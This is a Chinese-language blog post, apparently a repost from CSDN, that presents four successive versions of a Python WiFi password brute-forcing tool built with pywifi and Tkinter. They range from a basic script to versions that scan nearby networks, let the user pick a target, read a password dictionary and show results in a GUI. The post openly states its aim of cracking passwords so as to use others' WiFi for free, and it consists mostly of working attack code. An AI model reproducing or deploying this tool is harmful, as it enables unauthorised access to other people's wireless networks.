👇👇关注后回复 “进群” ,拉你进程序员交流群👇👇
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:
https://blog.csdn.net/weixin_39190897/article/details/119778471
前言
本文将记录学习下如何通过 Python 脚本实现 WIFI 密码的暴力破解,从而实现免费蹭网。
无图形界面
先来看看没有图形界面版的爆破脚本。
WIFI爆破
import pywifi
from pywifi import const
import time
import datetime
def wifiConnect(pwd):
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0]
ifaces.disconnect()
time.sleep(1)
wifistatus = ifaces.status()
if wifistatus == const.IFACE_DISCONNECTED:
profile = pywifi.Profile()
profile.ssid = "Tr0e"
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = pwd
ifaces.remove_all_network_profiles()
tep_profile = ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
time.sleep(2)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
else:
print("已有wifi连接")
def readPassword():
success = False
print("****************** WIFI破解 ******************")
path = "pwd.txt"
file = open(path, "r")
start = datetime.datetime.now()
while True:
try:
pwd = file.readline()
pwd = pwd.strip('\n')
bool = wifiConnect(pwd)
if bool:
print("[*] 密码已破解:", pwd)
print("[*] WiFi已自动连接!!!")
success = True
break
else:
print("正在破解 SSID 为 %s 的 WIFI密码,当前校验的密码为:%s"%("Tr0e",pwd))
except:
continue
end = datetime.datetime.now()
if(success):
print("[*] 本次破解WIFI密码一共用了多长时间:{}".format(end - start))
else:
print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码,请更换密码字典后重新尝试!")
exit(0)
if __name__=="__main__":
readPassword()
代码运行效果:
![](http://mmbiz.qpic.cn/mmbiz_png/ULibHgXIt3jy6xqzHf1icfluCMyt5kyMIHNJsTslxw3jsuYMT4ZKm0bw0zBUawSiaNSoVoAk050ldseW44znqqKqQ/640?wx_fmt=png)
脚本优化
以上脚本需内嵌 WIFI 名、爆破字典路径,缺少灵活性。下面进行改造优化:
import pywifi
import time
from pywifi import const
def wifi_scan():
wifi = pywifi.PyWiFi()
interface = wifi.interfaces()[0]
interface.scan()
for i in range(4):
time.sleep(1)
print('\r扫描可用 WiFi 中,请稍后。。。(' + str(3 - i), end=')')
print('\r扫描完成!\n' + '-' * 38)
print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名'))
bss = interface.scan_results()
wifi_name_set = set()
for w in bss:
wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
wifi_name_set.add(wifi_name_and_signal)
wifi_name_list = list(wifi_name_set)
wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)
num = 0
while num < len(wifi_name_list):
print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
num += 1
print('-' * 38)
return wifi_name_list
def wifi_password_crack(wifi_name):
wifi_dic_path = input("请输入本地用于WIFI暴力破解的密码字典(txt格式,每个密码占据1行)的路径:")
with open(wifi_dic_path, 'r') as f:
for pwd in f:
pwd = pwd.strip('\n')
wifi = pywifi.PyWiFi()
interface = wifi.interfaces()[0]
interface.disconnect()
while interface.status() == 4:
pass
profile = pywifi.Profile()
profile.ssid = wifi_name
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = pwd
interface.remove_all_network_profiles()
tmp_profile = interface.add_network_profile(profile)
interface.connect(tmp_profile)
start_time = time.time()
while time.time() - start_time < 1.5:
if interface.status() == 4:
print(f'\r连接成功!密码为:{pwd}')
exit(0)
else:
print(f'\r正在利用密码 {pwd} 尝试破解。', end='')
def main():
exit_flag = 0
target_num = -1
while not exit_flag:
try:
print('WiFi万能钥匙'.center(35, '-'))
wifi_list = wifi_scan()
choose_exit_flag = 0
while not choose_exit_flag:
try:
target_num = int(input('请选择你要尝试破解的wifi:'))
if target_num in range(len(wifi_list)):
while not choose_exit_flag:
try:
choose = str(input(f'你选择要破解的WiFi名称是:{wifi_list[target_num][1]},确定吗?(Y/N)'))
if choose.lower() == 'y':
choose_exit_flag = 1
elif choose.lower() == 'n':
break
else:
print('只能输入 Y/N 哦o(* ̄︶ ̄*)o')
except ValueError:
print('只能输入 Y/N 哦o(* ̄︶ ̄*)o')
if choose_exit_flag == 1:
break
else:
print('请重新输入哦(*^▽^*)')
except ValueError:
print('只能输入数字哦o(* ̄︶ ̄*)o')
wifi_password_crack(wifi_list[target_num][1])
print('-' * 38)
exit_flag = 1
except Exception as e:
print(e)
raise e
if __name__ == '__main__':
main()
脚本运行效果如下:
![](http://mmbiz.qpic.cn/mmbiz_png/ULibHgXIt3jy6xqzHf1icfluCMyt5kyMIHjhdcyfQcWBGX4TMX0qzKeibc6KZdZNxy4215iaC9swKJvE76LszhC4iag/640?wx_fmt=png)
上述代码实现了依据信号强度枚举当前附近的所有 WIFI 名称,并且可供用户自主选择需要暴力破解的 WIFI,同时还可灵活指定暴力破解的字典,相对而言体验感提升了不少。进一步也可以将上述脚本打包生成 exe 文件,双击运行效果如下:
![](http://mmbiz.qpic.cn/mmbiz_png/ULibHgXIt3jy6xqzHf1icfluCMyt5kyMIHQotxXucnImBxc02b4UFhhOF8ibY1veSNZDvviaz2pMycP4icDyDVyfdrA/640?wx_fmt=png)
图形化界面
下面基于 Python 的 GUI 图形界面开发库 Tkinter 优化上述脚本,实现友好的可视化 WIFI 暴力破解界面工具。
关于 Tkinter 库的语法可参见:
https://www.runoob.com/python/python-gui-tkinter.html
简单版UI
from tkinter import *
from pywifi import const
import pywifi
import time
def wificonnect(str, wifiname):
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0]
ifaces.disconnect()
time.sleep(1)
if ifaces.status() == const.IFACE_DISCONNECTED:
profile = pywifi.Profile()
profile.ssid = wifiname
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.key = str
profile.auth = const.AUTH_ALG_OPEN
profile.cipher = const.CIPHER_TYPE_CCMP
ifaces.remove_all_network_profiles()
tep_profile = ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
time.sleep(3)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
def readPwd():
wifiname = entry.get().strip()
path = r'./pwd.txt'
file = open(path, 'r')
while True:
try:
mystr = file.readline().strip()
bool = wificonnect(mystr, wifiname)
if bool:
text.insert(END, '密码正确' + mystr)
text.see(END)
text.update()
file.close()
break
else:
text.insert(END, '密码错误' + mystr)
text.see(END)
text.update()
except:
continue
root = Tk()
root.title('wifi破解')
root.geometry('500x400')
label = Label(root, text='输入要破解的WIFI名称:')
label.grid()
entry = Entry(root, font=('微软雅黑', 14))
entry.grid(row=0, column=1)
text = Listbox(root, font=('微软雅黑', 14), width=40, height=10)
text.grid(row=1, columnspan=2)
button = Button(root, text='开始破解', width=20, height=2, command=readPwd)
button.grid(row=2, columnspan=2)
root.mainloop()
脚本运行效果:
![](http://mmbiz.qpic.cn/mmbiz_png/ULibHgXIt3jy6xqzHf1icfluCMyt5kyMIHicxaLXDiaFMz3ehysWbjyLaU0icwP49LoywYtTY0gZEQNNIib5SlPVntibQ/640?wx_fmt=png)
UI升级版
以上图形界面未允许选择密码字典,下面进行优化升级:
from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog
import tkinter.messagebox
class MY_GUI():
def __init__(self, init_window_name):
self.init_window_name = init_window_name
self.get_value = StringVar()
self.get_wifi_value = StringVar()
self.get_wifimm_value = StringVar()
self.wifi = pywifi.PyWiFi()
self.iface = self.wifi.interfaces()[0]
self.iface.disconnect()
time.sleep(1)
assert self.iface.status() in \
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
def __str__(self):
return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())
def set_init_window(self):
self.init_window_name.title("WIFI破解工具")
self.init_window_name.geometry('+500+200')
labelframe = LabelFrame(width=400, height=200, text="配置")
labelframe.grid(column=0, row=0, padx=10, pady=10)
self.search = Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)
self.pojie = Button(labelframe, text="开始破解", command=self.readPassWord).grid(column=1, row=0)
self.label = Label(labelframe, text="目录路径:").grid(column=0, row=1)
self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)
self.file = Button(labelframe, text="添加密码文件目录", command=self.add_mm_file).grid(column=2, row=1)
self.wifi_text = Label(labelframe, text="WiFi账号:").grid(column=0, row=2)
self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)
self.wifi_mm_text = Label(labelframe, text="WiFi密码:").grid(column=2, row=2)
self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W)
self.wifi_labelframe = LabelFrame(text="wifi列表")
self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)
self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))
self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
self.wifi_tree.configure(yscrollcommand=self.vbar.set)
self.wifi_tree.column("a", width=50, anchor="center")
self.wifi_tree.column("b", width=100, anchor="center")
self.wifi_tree.column("c", width=100, anchor="center")
self.wifi_tree.column("d", width=100, anchor="center")
self.wifi_tree.heading("a", text="WiFiID")
self.wifi_tree.heading("b", text="SSID")
self.wifi_tree.heading("c", text="BSSID")
self.wifi_tree.heading("d", text="signal")
self.wifi_tree.grid(row=4, column=0, sticky=NSEW)
self.wifi_tree.bind("", self.onDBClick)
self.vbar.grid(row=4, column=1, sticky=NS)
def scans_wifi_list(self):
print("^_^ 开始扫描附近wifi...")
self.iface.scan()
time.sleep(15)
scanres = self.iface.scan_results()
nums = len(scanres)
print("数量: %s" % (nums))
self.show_scans_wifi_list(scanres)
return scanres
def show_scans_wifi_list(self, scans_res):
for index, wifi_info in enumerate(scans_res):
self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))
def add_mm_file(self):
self.filename = tkinter.filedialog.askopenfilename()
self.get_value.set(self.filename)
def onDBClick(self, event):
self.sels = event.widget.selection()
self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])
def readPassWord(self):
self.getFilePath = self.get_value.get()
self.get_wifissid = self.get_wifi_value.get()
pwdfilehander = open(self.getFilePath, "r", errors="ignore")
while True:
try:
self.pwdStr = pwdfilehander.readline()
if not self.pwdStr:
break
self.bool1 = self.connect(self.pwdStr, self.get_wifissid)
if self.bool1:
self.res = "[*] 密码正确!wifi名:%s,匹配密码:%s " % (self.get_wifissid, self.pwdStr)
self.get_wifimm_value.set(self.pwdStr)
tkinter.messagebox.showinfo('提示', '破解成功!!!')
print(self.res)
break
else:
self.res = "[*] 密码错误!wifi名:%s,匹配密码:%s" % (self.get_wifissid, self.pwdStr)
print(self.res)
time.sleep(3)
except:
continue
def connect(self, pwd_Str, wifi_ssid):
self.profile = pywifi.Profile()
self.profile.ssid = wifi_ssid
self.profile.auth = const.AUTH_ALG_OPEN
self.profile.akm.append(const.AKM_TYPE_WPA2PSK)
self.profile.cipher = const.CIPHER_TYPE_CCMP
self.profile.key = pwd_Str
self.iface.remove_all_network_profiles()
self.tmp_profile = self
.iface.add_network_profile(self.profile)
self.iface.connect(self.tmp_profile)
time.sleep(5)
if self.iface.status() == const.IFACE_CONNECTED:
isOK = True
else:
isOK = False
self.iface.disconnect()
time.sleep(1)
assert self.iface.status() in \
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOK
def gui_start():
init_window = Tk()
ui = MY_GUI(init_window)
print(ui)
ui.set_init_window()
init_window.mainloop()
if __name__ == "__main__":
gui_start()
脚本运行效果如下:
![](http://mmbiz.qpic.cn/mmbiz_png/ULibHgXIt3jy6xqzHf1icfluCMyt5kyMIHWadia1Ed0h44Wiaic8VTLbrk9GukFHXyBO9MuZxF8tocLaQpuOPXkqDgA/640?wx_fmt=png)
以上基于 Python 的 GUI 图形界面开发库 Tkinter,实际上 Python 的 GUI 编程可以借助 PyQt5 来自动生成 UI 代码。
相关教程可参见:
https://blog.csdn.net/leidawangzi/article/details/110826210
-End-
最近有一些小伙伴,让我帮忙找一些 面试题 资料,于是我翻遍了收藏的 5T 资料后,汇总整理出来,可以说是程序员面试必备!所有资料都整理到网盘了,欢迎下载!
![](http://mmbiz.qpic.cn/mmbiz_png/2HyIlGuO02ZBfriaa54Tf9DXWD0KR1OaQpT2sThK9FrRMsHtrgOcYWG6OGKic7pTorJmKPo0iaIKHHg9EbFLcqdcA/640?wx_fmt=png)
在看点这里
好文分享给更多人↓↓